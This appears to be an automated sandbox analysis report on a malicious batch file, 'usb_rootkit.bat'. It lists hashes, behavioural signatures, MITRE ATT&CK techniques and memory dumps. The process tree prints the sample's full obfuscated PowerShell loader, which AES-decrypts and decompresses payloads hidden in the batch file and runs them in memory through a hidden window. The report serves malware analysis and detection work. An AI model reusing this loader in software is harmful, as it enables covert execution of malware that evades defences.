f2531f30acc4736b5e6d2078265c6021d8435405547a67dfaf660716e17b121e

Analysis

max time kernel
1563s
max time network
1564s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
14/09/2024, 18:05

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General

Target

usb_rootkit.bat
Size

556KB
MD5

ccc8244e0a00612fa460fd2907c139df
SHA1

25eaeeb11cf34a4163b7a12d2fc596def0647bd3
SHA256

f2531f30acc4736b5e6d2078265c6021d8435405547a67dfaf660716e17b121e
SHA512

5b719d7dc915fe03c3d842bd5a7c7a395ce769cf9597b9f97c9a72183cdb9ca43015ab00b433cef1bbee71ca8ac08887b7852773c34226b77c95e017e15e6dac
SSDEEP

12288:fZNDU4c1NzJnTGbAKkZvWci7jiugu8/8z2I2pkiuCSSUz0KTr2k:fZNKlJnTSAXHjD5u90KB

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1100	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1100	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1100	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1972 wrote to memory of 1244	1972	cmd.exe	31
PID 1972 wrote to memory of 1244	1972	cmd.exe	31
PID 1972 wrote to memory of 1244	1972	cmd.exe	31
PID 1972 wrote to memory of 1100	1972	cmd.exe	32
PID 1972 wrote to memory of 1100	1972	cmd.exe	32
PID 1972 wrote to memory of 1100	1972	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\usb_rootkit.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Cog2FfQzXN/CFo+C1z5cA6A5VrFqrgZo+eGY2jDLhQM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Xe/cmGaEw2H/frlPjzjJMA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jenev=New-Object System.IO.MemoryStream(,$param_var); $bOggy=New-Object System.IO.MemoryStream; $BvzYa=New-Object System.IO.Compression.GZipStream($jenev, [IO.Compression.CompressionMode]::Decompress); $BvzYa.CopyTo($bOggy); $BvzYa.Dispose(); $jenev.Dispose(); $bOggy.Dispose(); $bOggy.ToArray();}function execute_function($param_var,$param2_var){ $efUPt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $IhbzI=$efUPt.EntryPoint; $IhbzI.Invoke($null, $param2_var);}$XNbkd = 'C:\Users\Admin\AppData\Local\Temp\usb_rootkit.bat';$host.UI.RawUI.WindowTitle = $XNbkd;$zWKzr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($XNbkd).Split([Environment]::NewLine);foreach ($MsVFK in $zWKzr) { if ($MsVFK.StartsWith('jbXgLDOZDydSfztIPCiv')) { $PxMNs=$MsVFK.Substring(20); break; }}$payloads_var=[string[]]$PxMNs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1100-4-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmp

Filesize
4KB

Download
memory/1100-7-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1100-6-0x00000000023C0000-0x00000000023C8000-memory.dmp

Filesize
32KB

Download
memory/1100-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

Filesize
2.9MB

Download
memory/1100-8-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1100-10-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1100-9-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1100-11-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1100-12-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/1100-13-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmp

Filesize
4KB

Download